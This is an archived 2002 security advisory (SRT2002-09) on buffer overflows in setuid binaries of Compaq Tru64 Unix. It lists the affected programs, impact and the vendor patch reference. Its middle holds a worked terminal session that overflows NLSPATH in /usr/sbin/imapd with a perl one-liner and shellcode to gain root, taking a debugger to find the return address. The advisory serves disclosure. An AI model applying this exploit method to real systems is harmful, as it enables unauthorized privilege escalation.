OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: KF (dotslash_at_snosoft.com)
Date: Wed Sep 04 2002 - 11:45:15 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    ======================================================================
    Strategic Reconnaissance Team Security Advisory(SRT2002-09)
    Topic: Compaq Tru64 Unix Mulitple Buffer Overflows
    Vendor: HP/Compaq
    Release Date: 09/04/2002
    Author: stripeysnosoft.com
    Primary Research by: stripeysnosoft.com
    ======================================================================

    .: Description

    The Tru64 operating system produced by HP/Compaq contains multiple
    buffer overflows in multiple system libraries and binaries. Tru64
    is now shipped with its non-exec stack implementation enabled by
    default. This measure is intended to mitigate the risk presented
    by buffer overflow conditions in setuid binaries - However, it has
    been proven to be ineffective in preventing an attacker gaining
    increased priviliges through traditional avenues of exploitation.

    Affected binaries include:

            /usr/dt/bin/dtprintinfo
            /usr/dt/bin/dtsession
            /usr/dt/bin/dtaction
            /usr/dt/bin/dtterm
            /usr/bin/X11/dxsysinfo
            /usr/bin/X11/dxconsole
            /usr/bin/X11/dxpause
            /usr/bin/X11/dxterm
            /usr/tcb/bin/dxchpwd
            /usr/tcb/bin/edauth
            /usr/sbin/imapd
            /usr/bin/mh/msgchk
            /usr/bin/mh/inc
            /usr/bin/deliver
            /usr/bin/rdist
            /usr/bin/uucp
            /usr/bin/uux
            /usr/bin/su

    Here is a quick look at how one of these issues can be exploited.
    It should be fairly self explanatory.

    % uname -a
    OSF1 alpha.snosoft.com V5.1 732 alpha
    % id
    uid=208(stripey) gid=15(users)
    % ls -la /usr/sbin/imapd
    -rws--x--x 1 root bin 789216 Aug 24 2000 /usr/sbin/imapd
    % perl -e'$ENV{"NLSPATH"}=("A"x1024)."\x01\x02\x03\x04\x05";exec("/usr/sbin/imapd")'
    Segmentation fault
    % su
    Password:
    # cp /usr/sbin/imapd test
    # chmod a+r test
    # exit
    % perl -e'$ENV{"NLSPATH"}=("A"x1024)."\x01\x02\x03\x04\x05";exec("dbx","./test")'
    (dbx) r
    signal Segmentation fault at
    warning: PC value 0x504030200 not valid, trying RA
    warning: RA value 0x504030200 not valid, trying text start
    warning: text start 0x120000000 not valid, trying data start
    warning: Using data start as a text address -- traceback will not work
    > [., 0x140000000] call_pal cflush
    (dbx) 0x140014280/2X
    0x0000000140014280: 0x4141414141414141 0x4141414141414141
    (dbx) q
    % perl -e'$ENV{"NLSPATH"}=(pack("l",0x47ff041f)x227).(`./sc`).pack("ll",0x40014280,0x1);exec("/usr/sbin/imapd")'
    # id
    uid=208(stripey) gid=15(users) euid=0(root)
    #

    .: Impact

    A local unpriviliged user can obtain increased permissions regardless of the non-exec stack flag.

    .: Workaround

    HP/Compaq has provided the following advisory and patches:

    HP Advisory Ref: SSRT2257

    http://wwss1pro.compaq.com/support/reference_library/viewdocument.asp?source=SRB0039W.xml&dt=11

    .: Systems Affected

    The following systems are known to be affected by some or all of these issues:

    Tru64 5.1
    Tru64 5.1A
    DgUX 4.0

    .: Proof of Concept

    See http://www.snosoft.com/research in a few days.

    .: Vendor Status

    Vendor informed, patches available.

    .: References

    HP Advisory Ref: SSRT2257

    .: Credit

    I can not stress enough the amount of dedication and hard work stripey has put into this
    project. None of this would be possible without hours upon hours of diligent work from
    stripeysnosoft.com

    .: DISCLAIMER

    Snosoft is in no way responsible for the use or abuse of the provided information.
    The Compaq end user is responsible for his or her own local and remote security.

    That file you've been guarding, isn't.
    -------------------------------------------------------------------
        ______________________________
       / _____/\______ \__ ___/ | Secure Network Operations
       \_____ \ | _/ | | | http://www.snosoft.com
       / \ | | \ | | | reconsnosoft.com
      /_______ / |____|_ / |____| |
              \/ \/ | Project Cerebrum